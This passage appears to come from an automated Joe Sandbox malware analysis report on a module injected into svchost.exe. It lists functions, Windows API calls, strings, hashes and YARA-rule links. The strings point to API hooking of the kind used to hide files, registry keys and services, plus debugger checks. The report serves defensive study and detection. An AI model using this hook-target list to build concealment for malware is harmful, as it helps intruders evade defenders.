Part of subcall function 0000013DE2721630: RegOpenKeyExW.ADVAPI32 ref: 0000013DE27217D2

Sleep.KERNEL32 ref: 0000013DE2721ADF
SleepEx.KERNELBASE ref: 0000013DE2721AE5

Part of subcall function 0000013DE2721630: RegCloseKey.ADVAPI32 ref: 0000013DE27217ED
Part of subcall function 0000013DE2721630: RegOpenKeyExW.ADVAPI32 ref: 0000013DE272180D
Part of subcall function 0000013DE2721630: RegCloseKey.ADVAPI32 ref: 0000013DE2721828
Part of subcall function 0000013DE2721630: RegOpenKeyExW.ADVAPI32 ref: 0000013DE2721848
Part of subcall function 0000013DE2721630: RegCloseKey.ADVAPI32 ref: 0000013DE2721863
Part of subcall function 0000013DE2721630: RegOpenKeyExW.ADVAPI32 ref: 0000013DE2721883
Part of subcall function 0000013DE2721630: RegCloseKey.ADVAPI32 ref: 0000013DE272189E
Part of subcall function 0000013DE2721630: RegCloseKey.ADVAPI32 ref: 0000013DE27218A8

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction ID: ee3d420d2bed2a93ebf437c3b8b3650750b4b589fd8ec1a2115b6d7d2847829d
Opcode Fuzzy Hash: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction Fuzzy Hash: E131FCB77106058AFB50BB27F9413E92BB4BB48BC0F1C4431DE098F697EE24CB51A654

Function 0000013DE272DC3C Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 0000013DE272DC91

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5937327315f5dacd8a69296d7de6a9ea1e39cbd8e21a565ac7b94a8f347e64da
Instruction ID: accbb15337b3c1a9c3f48d10cc4b64dd2beac0c0d08ebb25bebe2cae6af14786
Opcode Fuzzy Hash: 5937327315f5dacd8a69296d7de6a9ea1e39cbd8e21a565ac7b94a8f347e64da
Instruction Fuzzy Hash: A0F090F63032054DFE6577A2BD413E65AF94B98B80F1C64308D0A8E3C2EDACC7C0A210

Non-executed Functions

Function 0000013DE2727D90 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000013DE2727DAC
RtlCaptureContext.NTDLL ref: 0000013DE2727DD9
RtlLookupFunctionEntry.NTDLL ref: 0000013DE2727DF3
RtlVirtualUnwind.NTDLL ref: 0000013DE2727E34
IsDebuggerPresent.KERNEL32 ref: 0000013DE2727E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000013DE2727EA5
UnhandledExceptionFilter.KERNEL32 ref: 0000013DE2727EB0

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction ID: c4422f5ad3ecd5474b844b9a0fa355b7ce543f68c9d0c8a1650c8f6f1dce4e95
Opcode Fuzzy Hash: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction Fuzzy Hash: 40314D76214B808AEB61AF61F8807EE7774F784744F54402ADA4E4BB98EF38C748D714

Function 0000013DE272D814 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000013DE272D88D
RtlLookupFunctionEntry.NTDLL ref: 0000013DE272D8A5
RtlVirtualUnwind.NTDLL ref: 0000013DE272D8E0
IsDebuggerPresent.KERNEL32 ref: 0000013DE272D919
SetUnhandledExceptionFilter.KERNEL32 ref: 0000013DE272D923
UnhandledExceptionFilter.KERNEL32 ref: 0000013DE272D92E

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction ID: aa673ecea9234ec1e8bfbeb6c15acee4448dfc72735fc9ceeb0c65659b167b0f
Opcode Fuzzy Hash: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction Fuzzy Hash: 36316D72214B808AEB61EF25F8403DE77B4F789754F540126EA9D4BBA9DF38C646CB00

Function 0000013DE2721D1C Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000013DE2721D27

Part of subcall function 0000013DE2721FDC: GetModuleHandleA.KERNEL32 ref: 0000013DE2721FF4
Part of subcall function 0000013DE2721FDC: GetProcAddress.KERNEL32 ref: 0000013DE2722005

Part of subcall function 0000013DE2725B40: GetCurrentThreadId.KERNEL32 ref: 0000013DE2725B7B

Strings

NtQuerySystemInformation, xrefs: 0000013DE2721D4D
NtEnumerateValueKey, xrefs: 0000013DE2721DDE
ntdll.dll, xrefs: 0000013DE2721D35
advapi32.dll, xrefs: 0000013DE2721DFF, 0000013DE2721E20
NtDeviceIoControlFile, xrefs: 0000013DE2721E5E
EnumServicesStatusExW, xrefs: 0000013DE2721E19, 0000013DE2721E3A
EnumServiceGroupW, xrefs: 0000013DE2721DF8
NtQueryDirectoryFileEx, xrefs: 0000013DE2721DA4
NtResumeThread, xrefs: 0000013DE2721D6A
sechost.dll, xrefs: 0000013DE2721E41
NtEnumerateKey, xrefs: 0000013DE2721DC1
NtQueryDirectoryFile, xrefs: 0000013DE2721D87

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction ID: f20ba19593c990827f418985f895d93345b8695da60fdc658fd19179fa43d36d
Opcode Fuzzy Hash: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction Fuzzy Hash: 8231A1BA211A4AACEA05FF66FC517E56B30BB44344F940433D8190E172EF78C35AE390

Function 0000013DE272F904 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 0000013DE272FA80
GetProcAddress.KERNEL32 ref: 0000013DE272FA8C

Strings

ext-ms-, xrefs: 0000013DE272F9DD
api-ms-, xrefs: 0000013DE272F9CA

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction ID: 58ce32f5426b21fd41caa2a0010e1167bec3a13205982a5c6b2ba52985821585
Opcode Fuzzy Hash: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction Fuzzy Hash: 4541D073315A0059FA16FB26B8047D52BB1FB4ABE0F194139DD099F7A4EA38C745E305

Function 0000013DE272104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000013DE27210B1
RegEnumValueW.ADVAPI32 ref: 0000013DE2721117
GetProcessHeap.KERNEL32 ref: 0000013DE272115A
HeapAlloc.KERNEL32 ref: 0000013DE2721168
GetProcessHeap.KERNEL32 ref: 0000013DE2721185
HeapFree.KERNEL32 ref: 0000013DE2721193

Strings

d, xrefs: 0000013DE27210D6

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 82e34b841ad87f90b2aa9925f031613ffe6ac0b284e38c5b5e6a0650957d7bfb
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: E9416F73614B84CAE760EF21F44479E7BB1F388B98F548129DA890BB58DF38C649CB40

Function 0000013DE272D5D8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,0000013DE272CD4E,?,?,?,?,?,?,?,?,0000013DE272D50D,?,?,00000001), ref: 0000013DE272D5F7
FlsSetValue.KERNEL32(?,?,?,0000013DE272CD4E,?,?,?,?,?,?,?,?,0000013DE272D50D,?,?,00000001), ref: 0000013DE272D616
FlsSetValue.KERNEL32(?,?,?,0000013DE272CD4E,?,?,?,?,?,?,?,?,0000013DE272D50D,?,?,00000001), ref: 0000013DE272D63E
FlsSetValue.KERNEL32(?,?,?,0000013DE272CD4E,?,?,?,?,?,?,?,?,0000013DE272D50D,?,?,00000001), ref: 0000013DE272D64F
FlsSetValue.KERNEL32(?,?,?,0000013DE272CD4E,?,?,?,?,?,?,?,?,0000013DE272D50D,?,?,00000001), ref: 0000013DE272D660

Strings

Y%, xrefs: 0000013DE272D616
1%, xrefs: 0000013DE272D63E

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction ID: 5d2058687aeb95afa525a02ce3c7af05a5119e3058634ce727394fa105d65644
Opcode Fuzzy Hash: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction Fuzzy Hash: 461182B27052408DFA58B7367E513EA29F2AB447F0F184334E87D4E7D6DE28D741A601

Function 0000013DE2727520 Relevance: 12.2, APIs: 8, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000013DE2727548
__scrt_acquire_startup_lock.LIBCMT ref: 0000013DE272759A
_RTC_Initialize.LIBCMT ref: 0000013DE27275C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000013DE27275EE
__scrt_release_startup_lock.LIBCMT ref: 0000013DE2727619

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: f8c51aa5fac1f9f4583ff23cabd440589c9404a7d004e64d94a366c9525f117d
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: CE81B5B3A046418EFB50BB6ABA423E96FF4A785780F544035DA494F796EB38CB45F700

Function 0000013DE272A148 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000013DE272A1CD
GetLastError.KERNEL32 ref: 0000013DE272A1DB
LoadLibraryExW.KERNEL32 ref: 0000013DE272A205
FreeLibrary.KERNEL32 ref: 0000013DE272A273
GetProcAddress.KERNEL32 ref: 0000013DE272A27F

Strings

api-ms-, xrefs: 0000013DE272A1ED

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction ID: 8046d4e9ae6fd3bc76c15d9bda77b13380ab055a3b6b477710ca1f3904310728
Opcode Fuzzy Hash: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction Fuzzy Hash: B031A072612740A9EF62BB42B8007D66BF4BB88BA0F690635DD5D4F390DF39C685A310

Function 0000013DE27237A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000013DE27237B2
GetCurrentProcess.KERNEL32 ref: 0000013DE27237E0
VirtualProtectEx.KERNEL32 ref: 0000013DE2723802
GetCurrentProcess.KERNEL32 ref: 0000013DE272381D
VirtualProtectEx.KERNEL32 ref: 0000013DE272383E

Strings

wr, xrefs: 0000013DE2723813

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction ID: 56ebee0f63c56cacf9816999bb7db2958f6d177600289cf9108ca15d13cdef78
Opcode Fuzzy Hash: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction Fuzzy Hash: C3113976704B418AFF25BB12F4496A96BB0FB88B95F240039DE890BB94EF3DC644D714

Function 0000013DE27214A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000013DE27214CA
HeapFree.KERNEL32 ref: 0000013DE27214D9
GetProcessHeap.KERNEL32 ref: 0000013DE27214E6
HeapFree.KERNEL32 ref: 0000013DE27214F5
GetProcessHeap.KERNEL32 ref: 0000013DE2721505

Strings

C:\Windows\system32\svchost.exe, xrefs: 0000013DE27361A9, 0000013DE27361B1

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\svchost.exe
API String ID: 3168794593-4180442734
Opcode ID: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction ID: 8e5febeb5e99409d8a8def2e66279fb4802b0910a867b072e1e71e6861aa4715
Opcode Fuzzy Hash: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction Fuzzy Hash: 2E316BB790DBC08EE352BB66B8552992FB0F789F40F298026DA840B347EA2597059744

Function 0000013DE272D510 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000013DE272D51F
FlsSetValue.KERNEL32(?,?,?,0000013DE272DC25,?,?,?,?,0000013DE272DCE8), ref: 0000013DE272D555
FlsSetValue.KERNEL32(?,?,?,0000013DE272DC25,?,?,?,?,0000013DE272DCE8), ref: 0000013DE272D582
FlsSetValue.KERNEL32(?,?,?,0000013DE272DC25,?,?,?,?,0000013DE272DCE8), ref: 0000013DE272D593
FlsSetValue.KERNEL32(?,?,?,0000013DE272DC25,?,?,?,?,0000013DE272DCE8), ref: 0000013DE272D5A4
SetLastError.KERNEL32 ref: 0000013DE272D5BF

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction ID: a86168cc86fc74653fbe926c85dd27019b1feefbbb8973bbe713358a280c0fcd
Opcode Fuzzy Hash: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction Fuzzy Hash: 8B11D3B27052508EFA54B3367A553EA2AF66B447F4F140334E8360F7DADEA8C741A340

Function 0000013DE27219A4 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000013DE27219CA
K32GetModuleFileNameExW.KERNEL32 ref: 0000013DE27219E8
PathFindFileNameW.SHLWAPI ref: 0000013DE27219F7
lstrlenW.KERNEL32 ref: 0000013DE2721A03
StrCpyW.SHLWAPI ref: 0000013DE2721A16
CloseHandle.KERNEL32 ref: 0000013DE2721A24

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction ID: 0e1045e0901578caeed5dd1647d26434383841e14dafe434a74e6992654085d4
Opcode Fuzzy Hash: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction Fuzzy Hash: 56016971708A408AEB10FB12B8987996BB1F788BC0F984034DE5A4B755DF3CCB898704

Function 0000013DE2721A48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000013DE2721A68
StrCmpNIW.SHLWAPI ref: 0000013DE2721A82
lstrlenW.KERNEL32 ref: 0000013DE2721A91
StrCpyW.SHLWAPI ref: 0000013DE2721AA6

Strings

\\?\, xrefs: 0000013DE2721A76

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction ID: efa53308daf18d89a0362a8febf9d24a61156a96b651ecdbfbafc5bfc733d08c
Opcode Fuzzy Hash: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction Fuzzy Hash: F6F0C2723086809AEB20FB60F8D47DA6B71F758B88F984030CA494A959DF7CC78CDB04

Function 0000013DE2723058 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000013DE272307A
StrCpyW.SHLWAPI ref: 0000013DE272308A
StrCatW.SHLWAPI ref: 0000013DE2723096
PathCombineW.SHLWAPI ref: 0000013DE27230A4

Strings

\\.\pipe\, xrefs: 0000013DE2723070

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction ID: 50fb1810f9b093a21abd42f558bc982d0d86821917b4bcc0f5ccdd06ec671138
Opcode Fuzzy Hash: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction Fuzzy Hash: 33F08271718B8085EA14BB13B9141996B71EB48FD0F248030EE6A0BB18DF3CC7859714

Function 0000013DE272C208 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000013DE272C22D
GetProcAddress.KERNEL32 ref: 0000013DE272C243
FreeLibrary.KERNEL32 ref: 0000013DE272C26A

Strings

mscoree.dll, xrefs: 0000013DE272C224
CorExitProcess, xrefs: 0000013DE272C23C

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction ID: 338c25e0141dea10749522d8e0e6d7b3c03611f50317a1df8eb893623ce3689d
Opcode Fuzzy Hash: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction Fuzzy Hash: 56F06272215A0485EB11BB64F85539A6B70EB85B61F640239D66A4D1F4DF3CC348A354

Function 0000013DE27250E0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000013DE2725166

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d320431a3885b97cf1102f80532d88567ca490bad17f23be6033182695dcdf12
Instruction ID: 6fa04ed38e459616faa87eb6989cece4c95a83529e54b4c45d9d4ea689695fb0
Opcode Fuzzy Hash: d320431a3885b97cf1102f80532d88567ca490bad17f23be6033182695dcdf12
Instruction Fuzzy Hash: 7802EC73219B848AE764EB59F49039ABBB1F3C4794F104125EA8E87BA9DF7CC544DB00

Function 0000013DE2734674 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000013DE273469C
_set_statfp.LIBCMT ref: 0000013DE27346B7
_set_statfp.LIBCMT ref: 0000013DE27346D3
_set_statfp.LIBCMT ref: 0000013DE273470F

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 7cdfbae7086af1f9605070ff64a6857c7698b3e0db0677f3c1c4df5b5daeb4f5
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: BD11E937A10A018DF66F3969F4713E51CB06B59378F340634AAB70E6E7CE248BC16104

Function 0000013DE2728580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000013DE27285AB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000013DE2728642
RtlUnwindEx.NTDLL ref: 0000013DE272869C

Strings

csm, xrefs: 0000013DE2728629

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: 7e03c071ae3d63c6aad6873193658a43c80a1f58e46b67610b6de0bd332fdea8
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: 8951CC733116098EEB54FF95F444BA83BB2F744B88F508134EA8A4B789DB7ACA41D710

Function 0000013DE272AFC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000013DE272B01F
_CallSETranslator.LIBVCRUNTIME ref: 0000013DE272B06B

Strings

MOC, xrefs: 0000013DE272B033
RCC, xrefs: 0000013DE272B03B

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: 63fda26abc6198676af7175dbb78f8b0b78570552283441e53f84caea25de0d8
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: 67619DB3504BC48AE771AF15F4403DABBB4F785B88F045625EB990BB99DB38C294DB00

Function 0000013DE27325C8 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000013DE2732647
WriteFile.KERNEL32 ref: 0000013DE273290F
WriteFile.KERNEL32 ref: 0000013DE2732955
GetLastError.KERNEL32 ref: 0000013DE2732A0B

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction ID: 8381c4611c9bd71c1586b6f113c483f884f37dcbfecbfe0024d75a6f161059a6
Opcode Fuzzy Hash: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction Fuzzy Hash: 6BD1B172714A808EE722EF65F4403EC3BB1F754B98F244225CE5DABB99DA34CA46D340

Function 0000013DE2727970 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000013DE272799C
GetCurrentThreadId.KERNEL32 ref: 0000013DE27279AA
GetCurrentProcessId.KERNEL32 ref: 0000013DE27279B6
QueryPerformanceCounter.KERNEL32 ref: 0000013DE27279C6

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

